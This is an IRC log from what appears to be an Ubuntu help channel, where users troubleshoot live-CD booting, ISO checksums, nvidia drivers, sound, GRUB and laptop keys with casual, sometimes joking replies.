[05:20] <dissection> I can't get the headphone jack to work on my laptop. Please help me with this. Anyone here with a Vaio laptop?
[05:20] <Dr_willis> systemd0wn,  Any time.. :) dont want to make some icons eh?
[05:21] <toot> it is not working i cannot boot
[05:21] <Dustyhawk> oo. goodie, im here >D
[05:21] <ShadowApex> Gnea: "alsamixer: function snd_ctl_open failed for default: No such device"
[05:21] <badkitty_> toot: did you check the cd?
[05:21] <sFEARs> do you have your bios set to boot from cd rom?
[05:21] <toot> yes
[05:21] <Dr_willis> systemd0wn, a interesting test would be to see if the KDE equilivent works.
[05:21] <usr13> toot, what is your problem?
[05:21] <Gnea> ShadowApex: anything in /proc/asound/cards?
[05:21] <toot> yes
[05:21] <NotSoGutsy> Gnea :: I don't think it's that, it's apparently a nvidia bug that's never been fixed, compounded with xv/x11 not liking to cooperate with Compiz' opengl-base
[05:21] <sFEARs> does it give you a boot menu?
[05:21] <badkitty_> toot has a 256 ram p3 with barely any disk space and he can't load his livecd
[05:21] <toot> only two choise
[05:21] <sFEARs> ??
[05:22] <Gnea> NotSoGutsy: what nvidia card do u have? mine's an older go 440, so it requires legacy
[05:22] <ShadowApex> Gnea: is that a directory..?
[05:22] <kerbau_> i cannot boot my slackware
[05:22] <NotSoGutsy> Gnea :: mine's a 6600GT
[05:22] <Gnea> ShadowApex: it's a file, cat it
[05:22] <usr13> kerbau_: Using grub?
[05:22] <systemd0wn> Dr_Willis, then i can make the cool graphic appear so i can see in gnome a bar like the volume one.  KDE... is that really worth installing?
[05:22] <squid808> so, changing grub to hd(1,1) and unplugging the slave drive now gives me a GRUB Hard Disk Error ><
[05:22] <Gh0stee> I need help please. I rebooted yesterday and when I rebooted GRUB frooze at Stage 1.5.... Either how do I fix this? Is one of my drives dead? How can I tell?
[05:22] <ShadowApex> Gnea: yeah:  "1 [default        ]: USB-Audio - PnP Audio Device"
[05:22] <Gnea> squid808: right, it's hd(0,1) now
[05:23] <Dr_willis> systemd0wn,   My laptop keys work.. I dont even know where the gnome brightness applet is. :)
[05:23] <Gnea> ShadowApex: and u have some sort of usb headphones or something plugged in?
[05:23] <squid808> it said it was hd(0,1) before
[05:23] <Dr_willis> systemd0wn,  friend has a laptop that some how randomly decides to use the vga out on boot up.  and disables the lcd. :)  Could be worse.
[05:23] <Gnea> squid808: do you get a grub> prompt?
[05:23] <Yachi> how can i add it?
[05:23] <Yachi> chmod? :P
[05:23] <Yachi> ah i see, i need to add yachi to a group. how can i do that?
[05:23] <ShadowApex> Gnea: No. It's my onboard sound. It's located on the USB bus rather than on the PCI bus like usual
[05:23] <toot> any help?
[05:23] <sFEARs> toot
[05:23] <sFEARs> what are the 2 options
[05:23] <dissection> I can't get the headphone jack to work on my laptop. Please help me with this. Anyone here with a Vaio laptop?
[05:24] <Gnea> ShadowApex: never heard of it, what make/model is that?
[05:24] <systemd0wn> Dr_Willis, lol. your right, i could be a little kid in africa being forced to use the "One Laptop Per Child" lappy.
[05:24] <toot> normal mode the other one i donot remmber
[05:24] <Dr_willis> systemd0wn,  saving up for an Asuse Eee here. :)
[05:24] <sFEARs> just because i read minds doesn't mean i want to read yours
[05:24] <ShadowApex> Gnea: It's a terrible motherboard; lol. It's an ASUS M2N-Plus SLI
[05:24] <Curley_Sue> hi all. My tty console are badly configured - the fonts are too large as if it is a resolution problem (perhaps because the auto-conf of the graphic card didn't go and I had to do it manually). How do I correct it?
[05:24] <mynyml> whats the command again to load .bash_aliases and the like after i've edited them?
[05:24] <sFEARs> and what happens when you choose normal
[05:24] <toot> it is about graphic mode
[05:25] <squid808> although, Gnea, if i plug my master cable into where i thought was my slave, everything works peachy
[05:25] <toot> nothing just a black screen
[05:25] <ShadowApex> Gnea: It's C-Media 6501 I think.. the sound chipset
[05:25] <Dr_willis> mynyml,  could use 'source .bash_aliases' or . ./bash_aliases (i think)
[05:25] <sFEARs> there should be more than 2 options
[05:25] <toot> and my keyboard freeze
[05:25] <sFEARs> what livecd are you using?
[05:25] <Jimdb> hey guys, I'm trying out the vnc facilities and I have set up the system per the instructions at http://lifehacker.com/software/feature/special-how-to-access-a-home-server-behind-a-routerfirewall-127276.php.  What's happening is that I get the prompt to enter my password but it fails and tells me to try again.  I've confirmed the password is correct.  I've tested on both linux boxes and windows boxes. Any ideas?
[05:25] <toot> xubunto
[05:26] <toot> xubontu
[05:26] <mynyml> Dr_willis: thanks
[05:26] <sFEARs> ahh.. have you tried any other discs?
[05:26] <Jimdb> bleh.....wrong link:  the correct link is:  http://lifehacker.com/software/how-to/set-up-vnc-on-ubuntu-in-four-steps-317125.php
[05:26] <squid808> i wish everything had been SATA from the getgo
[05:26] <toot> i donot have any other
[05:27] <badkitty_> toot: Im thinking its gotta do with your disk man
[05:27] <toot> i want to try the sys that's it
[05:27] <sFEARs> you should download & burn another copy.. mabey the first one is corrupt
[05:27] <Crozar> hi all
[05:27] <sFEARs> you could check the md5 sum
[05:27] <badkitty_> Hey cro
[05:27] <ZaphodBeeblebrox> Greetings. I was reading this -> https://help.ubuntu.com/community/iPodVideoTransferring so I typed sudo apt-get install 'gtkpod-aac'. Thing is apt-get tells me that the package gtkpod will be removed so gtkpod-aac can be installed. Is this correct? gtkpod-aac REPLACES gtk-pod?
[05:28] <sFEARs> not exactally sure how.. but that would tell you if it's a corrupt burn or not
[05:28] <Crozar> toot, ? cd gutsy install problem? or making a cd then reading it?
[05:28] <ZaphodBeeblebrox> s/k-p/kp/;
[05:28] <usr13> kerbau_: Using grub?
[05:28] <NotSoGutsy> no magical fixes to nvidia bugs ?
[05:28] <toot> ok i have an ubontu cd ad it is not working too
[05:28] <NotSoGutsy> also, my lspci lists the video card as having 256MB, when it only has 128MB
[05:28] <ShadowApex> Gnea: any ideas..?
[05:28] <sFEARs> i think that's a second head saying hello mabey?
[05:28] <usr13> kerbau_:  What partition is /boot  on?
[05:28] <Curley_Sue> need help! My tty consoles are badly configured - the fonts are too large as if it is a resolution problem (perhaps because the auto-conf of the graphic card didn't go and I had to do it manually). How do I correct it?
[05:28] <Crozar> toot, we can help if you explain better
[05:29] <ZaphodBeeblebrox> NotSoGutsy: Upgrade or clean install?
[05:29] <NotSoGutsy> ZaphodBeeblebrox :: clean
[05:29] <dissection> I have a few problems. 1) There's no audio through the headphone jack. 2) The brightness doesn't reduce when its running on battery, so I get minimal backup time 3) Though the multimedia keys are all recognized in keyboard shortcuts, they still don't do anything 4) In built webcam doesn't work 5) Blu-ray data discs don't get mounted. Can someone help me with anything at all?
[05:29] <Crozar> Curley_Sue, have u changed theme recently?
[05:29] <badkitty_> NotSoGutsy: sprinkle some cinnamon on it??
[05:29] <sFEARs> sounds yummy
[05:29] <ZaphodBeeblebrox> NotSoGutsy: Can't help then... I had serious problems with my NVidia, but a clean installatopm solved all of them
[05:30] <Curley_Sue> Crozar: what do you mean - I am talking about the tty consoles - no X...
[05:30] <ShadowApex> Could anyone help me with a sound problem I've been having?
[05:30] <toot> what should i do?
[05:30] <badkitty_> toot: can you burn another disk?
[05:30] <NotSoGutsy> ZaphodBeeblebrox :: in the past, that was true, but it seems that Compiz's opengl doesn't like nvidia's 'new' driver on my machine
[05:30] <sFEARs> easiest is proally burn another disc and see if you get the same error toot
[05:30] <ZaphodBeeblebrox> badkitty_: ah... Cinnamon might not solved it, but will sure make it tastier
[05:30] <NotSoGutsy> ZaphodBeeblebrox :: also the 'double memory' thing seems to be killing most everything that needs it
[05:30] <squid808> blue screen of death blue screen of death =(
[05:30] <sFEARs> <~~~ BIG FAN OF TASTY
[05:30] <ZaphodBeeblebrox> NotSoGutsy: tried the legacy driver?
[05:30] <Crozar> toot, are you currently using windows or ubuntu ?
[05:31] <toot> i have two disks one is ubontu and the other is xubontu and both are not working
[05:31] <NotSoGutsy> ZaphodBeeblebrox :: installed it, but haven't restarted X or anything yet
[05:31] <ZaphodBeeblebrox> Guys. I was reading this -> https://help.ubuntu.com/community/iPodVideoTransferring so I typed sudo apt-get install 'gtkpod-aac'. Thing is apt-get tells me that the package gtkpod will be removed so gtkpod-aac can be installed. Is this correct? gtkpod-aac REPLACES gtkpod?
[05:31] <badkitty_> toot runs windows
[05:31] <toot> windows
[05:31] <ZaphodBeeblebrox> NotSoGutsy: Give it a try then
[05:31] <usr13> toot, what software are you using to burn the CDs?
[05:31] <toot> nero
[05:31] <mneptok> toot: did you md5sum the .iso files?
[05:31] <Crozar> toot, 1 question , if we help you  will you listen?
[05:31] <sFEARs> if it's not a bad burn.. i'd guess it's a bios settings issue
[05:32] <badkitty_> lol crozar
[05:32] <toot> hhhhhhhhhhh
[05:32] <sFEARs> make sure it's set to cdrom instead of auto somewhere in there
[05:32] <badkitty_> Im betting one package of cinnamon its a bad disk
[05:32] <toot> shore i will lesson
[05:32] <ZaphodBeeblebrox> lol badkitty_
[05:32] <sFEARs> secondary drive or primary slave or whatever
[05:32] <Crozar> dissection, audo go to audio settings and fix it , if its a bug then the fix is in the forum , brightness ? use Fn key ... and for checking any hardwares recognition type dmesg in terminal
[05:32] <jsschmid> how can I play SHOCKWAVE within Ubuntu
[05:32] <usr13> toot:  Could be that you've made an ISO image of the ISO image in the process of burning the CD. Can you read the files on the CD?
[05:32] <jsschmid> ?
[05:32] <mneptok> toot: did you md5sum the .iso files?
[05:33] <mneptok> jsschmid: you can't
[05:33] <ZaphodBeeblebrox> Guys. I was reading this -> https://help.ubuntu.com/community/iPodVideoTransferring so I typed sudo apt-get install 'gtkpod-aac'. Thing is apt-get tells me that the package gtkpod will be removed so gtkpod-aac can be installed. Is this correct? gtkpod-aac REPLACES gtkpod?
[05:33] <jsschmid> mneptok: thanks
[05:33] <toot> i cannot play in the bios without know what to do
[05:33] <toot> md5sum=?
[05:33] <ShadowApex> Could someone help me with a sound problem? My onboard sound is located on the USB bus, so Ubuntu sees it as a USB Sound Device. Is there any way I can make it the primary sound card so sound will play through all my applications?
[05:33] <sFEARs> toot
[05:33] <ZaphodBeeblebrox> toot: True. If you don't know what to do don't go there
[05:33] <Crozar> no
[05:33] <mneptok> toot: last chance to answer my question ...
[05:33] <badkitty_> usr13: It could be that the iso was burned without being mountable
[05:33] <squid808> anyone know what key to press when windows is starting up to see the text output rather than the loading screen?
[05:33] <usr13> toot: When you read the contents of the CD, do you see a single file with extension  .iso
[05:34] <sFEARs> in your bios.. make sure your secondary master is set to cd-rom and not auto
[05:34] <toot> ok i will check that
[05:34] <Dustyhawk> dang. i forgot what i wanted to ask
[05:34] <Crozar> guys if you want to help toot please refer to recent questions similar to this , i spent hours with 1 and did all methods in the end the problem wasnt a software problem , it was the cd he had to buy sony cd's imation and some other brand just have problems with some drives its a known issue for worldwide market
[05:34] <usr13> badkitty_: No. If you burn an bootable ISO image to the CD, it will boot.
[05:34] <ZaphodBeeblebrox> sFEARs: Also the boot priority must be CD-ROM followed by Primary HDD, right?
[05:35]  * mneptok gives up on toot and goes to answer paying customers
[05:35] <dissection> Crozar: Where's the audio settings? And, the function keys don't work.. I can't reduce the brightness
[05:35] <jsschmid> another question: EKIGA has intermitted sound playback, what can I alter to make it go away. Soundplayback of mp3 is great, Skype too
[05:35] <ShadowApex> Could someone help me with a sound problem? My onboard sound is located on the USB bus, so Ubuntu sees it as a USB Sound Device. Is there any way I can make it the primary sound card so sound will play through all my applications?
[05:35]  * iKernel is away
[05:35] <ZaphodBeeblebrox> I was reading this -> https://help.ubuntu.com/community/iPodVideoTransferring so I typed sudo apt-get install 'gtkpod-aac'. Thing is apt-get tells me that the package gtkpod will be removed so gtkpod-aac can be installed. Is this correct? gtkpod-aac REPLACES gtkpod?
[05:35] <mneptok> iKernel: please do not use public away messages
[05:36] <sFEARs> correct Zaphod
[05:36] <iKernel> mneptok, but I didn't go away ;P
[05:36] <badkitty_> usr13: I thought there was a setting you had to put in nero to burn it as that type of bootable file. I may have even mis-burned a file like that before
[05:36] <jsschmid> ShadowApex: shouldnt it be somewhere located in "System -> Preferences -> Sound
[05:36] <sFEARs> yeah badkitty.. it is a setting to but a bootable iso
[05:36] <Crozar> dissection,  did you search google? by typing " Fn key dont work " or doesnt work or Fn key help  , add ubuntu after each or type linux , i think its by adding a command for the Fn binding , but either way Fnkey must come from bios not system
[05:36] <mneptok> iKernel: doesn't change the fact you used a public /away message. please don't.
[05:36] <sFEARs> setting to burn*
[05:36] <ZaphodBeeblebrox> sFEARs: in ref of boot priority or in ref of gtkpod? :)
[05:36] <usr13> badkitty_: The problem with some of the stupid MS Windows CD burning software is that it makes an ISO image of what ever it burns to a CD, (wheather it's aready an ISO image or not), and that's usually the problem.
[05:36] <sFEARs> boot prio
[05:36] <ZaphodBeeblebrox> kk
[05:37] <ShadowApex> jsschmid: I changed everything there to the USB Sound device but the problem still persists. Most applications; such as VLC, Flash, etc. will not play anything
[05:37] <badkitty_> usr13: yah thats probably what the setting does is makes sure it doesn't burn an image of the image
[05:37] <ZaphodBeeblebrox> Can someone please confirm the gtkpod-aac replacing gtkpod?
[05:37] <jsschmid> ShadowApex: there you should be able change your primary sound device
[05:37] <Crozar> toot, from were are you?
[05:37] <Crozar> :p
[05:37] <badkitty_> oh man you went there crozar?
[05:37] <usr13> badkitty_: Yes, that's the problem.
[05:38] <Curley_Sue> ! tell me about framebuffer
[05:38] <DShepherd> hey. i dont seem to have any ttys. anyone know why? or how to debug this?
[05:38] <Crozar> maybe some cultural problem
[05:38] <toot> egypt
[05:38] <mneptok> Crozar: few OSes use BIOS keymappings anymore
[05:38] <mneptok> Crozar: Linux basically ignores the BIOS
[05:38] <Crozar> hmm
[05:38] <Curley_Sue> DShepherd: do the f1-f12 keys function normally?
[05:38] <dissection> Crozar, the function keys work. I meant it doesn't reduce the brightness
[05:38] <jsschmid> ShadowApex: sorry, thats all the ideas I had, just ask your question again and hope for someone else with a better idea, actually I'm also because of a sound problem
[05:39] <dissection> Crozar, yeah I tried google. Nothing I tried works
[05:39] <Crozar> does it for windows dissection ?
[05:39] <ShadowApex> jsschmid: lol yeah, thanks anyways though =P
[05:39] <usr13> badkitty_: So the first thing you need to ask someone in this situation is to try and read the CD.  If they tell you that it has a single file;  filename.iso    Then you know what the problem is right there.
[05:39] <ZaphodBeeblebrox> ok, I'll close my eyes, hold Gutsy paws and let it replace gtkpod. If anything goes wrong I'll come back and cry a lot in here *lol*
[05:39] <dissection> Crozar: I have no problem in Windows
[05:39] <ShadowApex> Could someone help me with a sound problem? My onboard sound is located on the USB bus, so Ubuntu sees it as a USB Sound Device. Is there any way I can make it the primary sound card so sound will play through all my applications?
[05:39] <mneptok> dissection: it may surprise you to learn that Linux is not Windows ;)
[05:39] <Crozar> mneptok, my laptop is a 2001 laptop and Fn key works when i start the computer its like using a CRT and lowering brightness
[05:39] <DShepherd> Curley_Sue, yeah . its weird though... when i try to jump to tty.. nothing is there... its just blank. It almost resembles when your in single user mode but with a GUI
[05:39] <Crozar> im wondering if grub is bettter then windows boot loader
[05:40] <dissection> mneptok, yeah I know that
[05:40] <mneptok> Crozar: that's not a function of the BIOS, necessarily
[05:40] <Crozar> maybe but its still Fn
[05:40] <Crozar> mneptok, is grub better then windows loader
[05:40] <toot> so what hould i do know
[05:40] <Crozar> if you have many important files in windows for instance
[05:40] <badkitty_> usr13: well i believe he was getting a partial install menu
[05:41] <DShepherd> Curley_Sue, i just googled, it seems I am not alone
[05:41] <ShadowApex> Could someone help me with a sound problem? My onboard sound is located on the USB bus, so Ubuntu sees it as a USB Sound Device. Is there any way I can make it the primary sound card so sound will play through all my applications?
[05:41] <Crozar> toot, either buy support and let the guy suicide to have your answer or just have patience and try to figure out an explanation method
[05:41] <badkitty_> toot: explore the CD and tell us what are the contents
[05:41] <toot> should i try the bios
[05:41] <usr13> badkitty_: Then he needs to test the ISO
[05:41] <toot> ok
[05:41] <ZaphodBeeblebrox> ok, guys, gotta go. Don't worry, I'll let you know if anything went wrong with the gtkpod thingy *grin*
[05:41] <badkitty_> bye zaphod
[05:41] <Radio1> toot: you should set your bios to boot from cd..
[05:42] <jsschmid> EKIGA has INTERMITTANT SOUND playback, any ideas? sound is ok so far...
[05:42] <toot> i did that
[05:42] <ZaphodBeeblebrox> bye bye, badkitty_. Hmmm note to self: Buy cinnamon
[05:42] <Radio1> k
[05:42] <Gh0stee> I need help please. I rebooted yesterday and when I rebooted GRUB frooze at Stage 1.5....Bios sees the drive, see's the serial. I ran some utils, MHDD only saw a few error...Ubuntu Installer CD sees the partitions and such...  how do I fix this? Is one of my drives dead? How can I tell?
[05:42] <badkitty_> haha!
[05:42] <sechafer> vh
[05:42] <sechafer> m
[05:42] <sechafer> mmmmm
[05:42] <usr13> what is toot's hardware?
[05:43] <toot> u mean the ram?
[05:43] <badkitty_> p3 256 RAM, tiny HD
[05:43] <iKernel> usr13, sure you don't mean root?
[05:43] <bwana_card> ahhh what the hell
[05:43] <Crozar> who knows much about grub>
[05:43] <usr13> no toot
[05:43] <toot> i will change my name next time
[05:43] <iKernel> Crozar, what do you need to know?
[05:43] <Gh0stee> Crozar, I need the same thing :)

[05:43] <toot> badkitty
[05:43] <badkitty_> yes?
[05:43] <Crozar> i got important files in windows , i dont want to spoil them iKernel
[05:43] <toot> are u with me
[05:43] <jsschmid> usr13: you where gone when I came back ... so now that are you here: THANKS A LOT ... removing the map comand from the menu.lst worked great
[05:44] <Radio1> toot toot said the little caboose.
[05:44] <Radio1> j/k
[05:44] <iKernel> Crozar, and?
[05:44] <badkitty_> affirmative
[05:44] <ShadowApex> Could someone please help me with a sound problem I've been having? When I run the command "alsamixer" I get this error: "alsamixer: function snd_ctl_open failed for default: No such device"
[05:44] <Crozar> and im wiling to install ubuntu on this pc
[05:44] <jsschmid> usr13: still I dont know why
[05:44] <Crozar> iKernel, windows vista bussiness
[05:44] <usr13> toot, nothing wrong with your name.  The CD may be bad or your hardware may be bad, but your name is ok.
[05:44] <iKernel> Crozar, ubuntu installer will probably automatically make a boot loader configuration that will enable you to boot windows
[05:44] <toot> great
[05:44] <bwana_card> https://help.ubuntu.com/community/GrubHowto
[05:44] <Crozar> iKernel, the grub loader better then vista loader?
[05:44] <bwana_card> knows tuns about grub
[05:44] <badkitty_> toot did you explore the CD?
[05:45] <usr13> jsschmid: Because that was from when it was booting from USB
[05:45] <iKernel> Crozar, kinda. it's more flexibile. and much more easy to configure.
[05:45] <Crozar> iKernel, any conflicts?
[05:45] <usr13> jsschmid: Anyway, got it working ok, right?
[05:45] <iKernel> Crozar, do you have any antivirus software on your windows?
[05:45] <hanasakiRemote> is ubiquity the installer?
[05:45] <jsschmid> usr13: and it mapped the usb drive to the actual hard drive ... got it
[05:45] <usr13> yea
[05:45] <jsschmid> usr13: yeah, it works great
[05:45] <Crozar> iKernel, i just want to know if im good to go installing ubuntu and my vista files and readings will be ok from grub no problems . coz this is my work PC!
[05:45] <Optimus55> what does pnpbios=off do exactly?
[05:45] <ShadowApex> Could someone please help me with a sound problem I've been having? When I run the command "alsamixer" I get this error: "alsamixer: function snd_ctl_open failed for default: No such device"
[05:46] <usr13> jsschmid: Good deal...
[05:46] <iKernel> Crozar, because it may detect your changed MBR as an infection and change it back for you, deleting grub and reinstalling NTDL
[05:46] <Crozar> iKernel, yes Bit defender
[05:46] <jsschmid> usr13: thanks again!
[05:46] <toot> ok the cd has tha folders   .disk  casper install isolinux pics pool preseed
[05:46] <usr13> jsschmid: np  glad to help
[05:46] <Crozar> im not sure what antivirus tho :/
[05:46] <Tom47> Crozar no matter whar anyone says you should be backing up any files you dnt recreate from a reinstall
[05:46] <iKernel> Crozar, don't know much about bit defender, but as long as it's not microsoft software you should be ok
[05:46] <iKernel> Crozar, one thing
[05:46] <bauer_> when i try to install eric it installs eric3. How do i install eric4
[05:47] <iKernel> Crozar, it is highly recommended that you defrag your windows partition before resizing it while installing ubuntu
[05:47] <toot> and these files  md5sum README.diskdefines  ubuntu wubi-cdboot
[05:47] <squid808> Crozar: best antivirus: dialup. you'll be so annoyed with it you'll never go online.
[05:47] <ShadowApex> Could someone please help me with a sound problem I've been having? When I run the command "alsamixer" I get this error: "alsamixer: function snd_ctl_open failed for default: No such device"
[05:47] <jscinoz> Hey i'm making a short sheel script to automatically resetablish a ssh connection when it fails, the ssh connection has a dynamic tunnel running, how can i use netcat to check for a connection on "localhost 8080" to achive this? if so how?
[05:47] <Yachi> how can i add write permissions to a folder for a user????????????/
[05:47] <scyTh3> Hey all, I'm new to Ububntu but not Linux. I have tried a few different distributions: Slackware, Gentoo, OpenSuSE...All with the same problem. Every time I install Nvidia drivers X just locks up when I startx it works great with "nv" driver but I need the real drivers. Any help would be appreciated.
[05:48] <iKernel> scyTh3, hehe I am sure I can help you
[05:48] <MasterShrek`> !permissions | yachi (read the private message from ubotu)
[05:48] <badkitty_> toot: ok well we know the iso was burned in the correct way, but we have to see if the md5 checksum checks out... usr13??
[05:48] <bwana_card> sound like there's no hardware hooked up to your alsa software Shadow
[05:48] <scyTh3> ikernel, thanks. I would like that.
[05:48] <mneptok> scyTh3: sudo apt-get nvidia-glx
[05:48] <MasterShrek`> nvm, must be another netsplit
[05:48] <File13> that crashed my irc
[05:48] <Tom47> \Yachi with a gui you can do it by rightclicking on a file and adjusting the stuff in the permissions tab
[05:48] <dissection> I can't get the headphone jack to work on my laptop. Please help
[05:48] <jsschmid> Ekiga has intermittet sound playback,  sound is good so far ... anyone a idea
[05:48] <usr13> toot  md5sum the ISO image
[05:48] <jsschmid> ?
[05:48] <jsschmid> ?
[05:48] <Crozar> iKernel, thanks i should back up first my 8 GB of work to an external harddisk then defrag and go with the steps ;) hope i be ok
[05:48] <jsschmid> ?
[05:48] <bwana_card> or ALSA is pointed at the wrong interrupt whatever
[05:48] <ShadowApex> bwana_card: how can I change that?
[05:48] <Crozar> il do it nextweek
[05:48] <scyTh3> mneptok, that is it? Just apt-get nvidia-glx?
[05:48] <bwana_card> ummm.. sound control panel mabey?
[05:48] <Gh0stee> please someone :(
[05:48] <mneptok> scyTh3: correct
[05:49] <toot> md5sum is a text file
[05:49] <ShadowApex> bwana_card: I've done that... didn't work
[05:49] <mneptok> scyTh3: *sudo* apt-get nvidia-glx
[05:49] <iKernel> mneptok, scyTh3 as much as everyone says you should use distribution provided drivers, I don't reccommend it. but go ahead, try apt-get install nvidia-glx
[05:49] <ShadowApex> bwana_card: when I run certain commands, it sees my sound card
[05:49] <scyTh3> mneptok, heh, seems to easy..for 2 weeks of trying to get it to work! It will fix the 'lockup'? I will have to reinstall if it happens again :(
[05:49] <cdm10> iKernel: nvidia-glx is distro-provided.
[05:49] <bwana_card> if you check room #ardour you might be able to get some more help with ALSA stuff
[05:49] <ShadowApex> bwana_card: it's a usb
[05:49] <usr13> toot: Run md5sum against the ISO image that you downloaded to see if it matches the one supplied by the server.
[05:49] <bwana_card> ohhh
[05:49] <iKernel> scyTh3, but you will probably have to configure/manage third party drivers to enable it
[05:49] <bwana_card> mabey you need USB drivers
[05:50] <cdm10> scyTh3: wait, all you've been doing is changing xorg.conf to use nvidia? You need to have the driver actually installed first, before you can use it in xorg.conf.
[05:50] <usr13> toot:  Exactly what image did you download?
[05:50] <mneptok> iKernel: apt-get is the recommended way in Ubuntu, despite your personal preference
[05:50] <jsschmid> goodn8 folks ... and good luck....

[05:50] <dissection> Someone please help me fix my brightness keys. I didn't find anything about my laptop's model, in google
[05:50] <dwf_starband> i was messing with desktop effects and now when ever i try to log on with that user all i get is a blank screen with the mouse in it, what is the best way to get a usable desktop back without loosing stuff from that user?
[05:50] <cdm10> mneptok: maybe you should have him use Restricted Manager...
[05:50] <bwana_card> dissectoin
[05:50] <usr13> toot: Do you have md5sum installed on your MS Windows OS?  If not get it.
[05:50] <Crozar> mneptok, yes but without using sudo
[05:50] <bwana_card> your brightness keys proally don't have drivers in linux
[05:50] <mneptok> Crozar: huh?
[05:50] <iKernel> mneptok, the only problem I have with it is that the nvidia module may not match your kernel version, which will give you horrible symbolic errors
[05:50] <scyTh3> cdm10, No I have installed via sh Nvidia* in other distros...I tried to use the update manager in ububntu and it installed and still locked up.
[05:50] <Crozar> gksudo
[05:50] <usr13> toot: So that you can test the ISO image for accuracy.
[05:50] <toot> no it isnot installed
[05:51] <Optimus55> hey can anyone tell me what exactly what boot options pci=routeirq and pnpbios=off do? or a site where i can check?
[05:51] <`Matir> anyone here have a system76 laptop?  i'm just trying to confirm their DVD burners are dual-layer
[05:51] <mneptok> iKernel: incorrect
[05:51] <iKernel> mneptok, mind you, not many people compile their own kernels
[05:51] <cdm10> scyTh3: Update manager doesn't install nvidia, restricted manager does.
[05:51] <toot> where do i get it from ?
[05:51] <cdm10> iKernel: if you use the ubuntu-provided kernel, it'll match up.
[05:51] <Gh0stee> When starting the Ubuntu live CD, I get this error... "Buffer I/O Error on device sda, logical block 8" is my drive toast?
[05:51] <Curley_Sue> DShepherd: you can try reconfiguring the tty " sudo dpkg-reconfigure xserver-xorg " at the end you are asked about how many tty you want. I am not sure whether this is the right way,though...
[05:51] <iKernel> cdm10, of course it will
[05:51] <usr13> toot:  http://www.irnis.net/gloss/md5sum-windows.shtml
[05:51] <bwana_card> no Gh0stea
[05:52] <scyTh3> cdm10, well it was just an update from the top navbar in the ubuntu desktop. It popped up saying I need to install drivers...I installed and rebooted and it froze
[05:52] <mneptok> cdm10: the problem with RDM is that if he installed via the nVidia executable blob, it may not update xorg.conf correctly
[05:52] <ruben> someone who speak spanish?
[05:52] <dissection> bwana_card, yes, "probably", but how can I be sure when there's no one on the forum with the same laptop stating a problem?
[05:52] <cdm10> scyTh3: oh, ok...
[05:52] <DShepherd> Curley_Sue, did you read the link i sent you. seems to be a well known bug
[05:52] <badkitty_> toot: or http://www.pc-tools.net/win32/md5sums/
[05:52] <mneptok> !es > ruben
[05:52] <Crozar> Gh0stee, happens hmmm.... make another cd write at 4 x speed make sure the cd is sony , some cds are weak these days they use cheap labour
[05:52] <bwana_card> have you tried to play with the boot options on the live cd boot menu
[05:52] <DShepherd> Curley_Sue, going to try a reconfigure anyways.. brb
[05:52] <toot> ok
[05:52] <dissection> Does Ubuntu's paid support assist with installing all the hardware?
[05:52] <ZMR> ruben, try #ubuntu-es
[05:52] <cdm10> mneptok: It looks like the first thing he did was install it from RDM, I don't think he used blob.bin at all.
[05:52] <Yachi> yes ok but how can i add a user to a group?
[05:52] <ShadowApex> bwana_card: what is #ardour? Channel specifically for ALSA?
[05:52] <Gh0stee> Crozar, you think it was a burning issue?
[05:52] <Yachi> f***
[05:53] <scyTh3> cdm10, which brings me to the question again...the sudo apt-get nvidia-glx will work?
[05:53] <cdm10> Yachi: it's in Users and Groups... just go to a group and check off the user in that group's list.
[05:53] <bwana_card> have seen similar problems with bios settings Ghoste
[05:53] <Crozar> yes Gh0stee i had 4 cd's thrown away because of this
[05:53] <ruben> mnepto como puedo hacer para desinstalar porque creo que puse mal algunas cosas y no puedo cargar flash, existe alguna forma de pasar a xp?
[05:53] <usr13> toot: Try this:  http://www.etree.org/cgi-bin/counter.cgi/software/md5sum.exe
[05:53] <toot> ok what after downloading
[05:53] <mneptok> !es | ruben
[05:53] <cdm10> scyTh3: Well, that's basically what RDM did, and that didn't seem to work... there may be some more settings you need to play with, but I'm really not the person to ask.
[05:53] <bwana_card> donde esta los pantelones
[05:53] <jscinoz> Is this the right place to ask about shell scripts?
[05:53] <Yachi> k thanks
[05:53] <Gh0stee> bwana_card, elaborate please?
[05:53] <toot> i downloaded it
[05:54] <Crozar> Gh0stee, its because i was using imation but the brand is ok but i hope you get this , imation sold many kinds of cd's but 2 kinds the same look didnt work but the original case worked lol its weird hope you understand the cd is a problem also in many cases
[05:54] <bwana_card> when you boot the live cd you have options 1-6
[05:54] <scyTh3> cdm10, thanks for the help.
[05:54] <toot> what should i do?
[05:54] <bwana_card> check out option 6... boot options
[05:54] <cdm10> ruben: esta es una canal ingles (lo siento para el español terrible)
[05:54] <bwana_card> you can then type in some boot options.. heads sectors cylinders etc..
[05:54] <Crozar> Gh0stee, dont worrry those cd's worked for music tho :) not for ISO thats a diffrent thing y ou need sony to go for ISO and to test better testing with Sony cd
[05:54] <sechafer> vnn
[05:54] <usr13> toot:  cd to where the iso file is, (via terminal) and issue command:  md5sum  filename.iso
[05:54] <scyTh3> cdm10, just for the record I am using the egeforce 8400gs pcie 256. Kinda a new card.
[05:54] <Gh0stee> Crozar, I guess i'll go burn another.
[05:54] <bwana_card> mabey it just doesn't auto recognize your drive & needs some help with fat locations blah blah blah
[05:54] <usr13> toot: What image did you download?
[05:55] <Crozar> Gh0stee, get sony cd
[05:55] <Curley_Sue> DShepherd: I apologise but I have to leave. I haven't read that bug - nxt time! good luck
[05:55] <Crozar> Gh0stee, same burning wont work maybe
[05:55] <Gh0stee> bwana_card, Never had issues with these RiData's
[05:55] <dwf_starband> i was messing with desktop effects and now when ever i try to log on with that user all i get is a blank screen with the mouse in it, what is the best way to get a usable desktop back without loosing stuff from that user?
[05:55] <usr13> toot: What is the filename?
[05:55] <bwana_card> RiData?
[05:55] <Crozar> Gh0stee, burn another kind of cd not imation or benq or such brand burn Sony dont be lazy go buy 1 lo
[05:55] <ruben> I tried to unistall ubuntu because I think I have a bad copy of the cd, I cant put flash and other stuffs, is there anyway to go to XP again?
[05:55] <Gh0stee> bwana_card, was that to be?
[05:55] <bwana_card> is that a brand of disk?
[05:55] <badkitty_> usr13: cant he drag and drop the image on the file to get the hash?
[05:55] <gluonman> I'm using kopete to chat with a Yahoo! Messenger buddy and can't view the webcam. It says that a Yahoo plugin is missing or something. I don't know what I need.
[05:55] <toot> Xubuntu 7.10 i38
[05:55] <bwana_card> yes.. to you.. Gh0ste, about sectors, heads, & cylinders
[05:56] <cdm10> ruben: yes, you can go back to XP... but we can also help you set up flash, if you want.
[05:56] <usr13> badkitty_: Possibly, I don't know.
[05:56] <toot> i am lost i donot understand
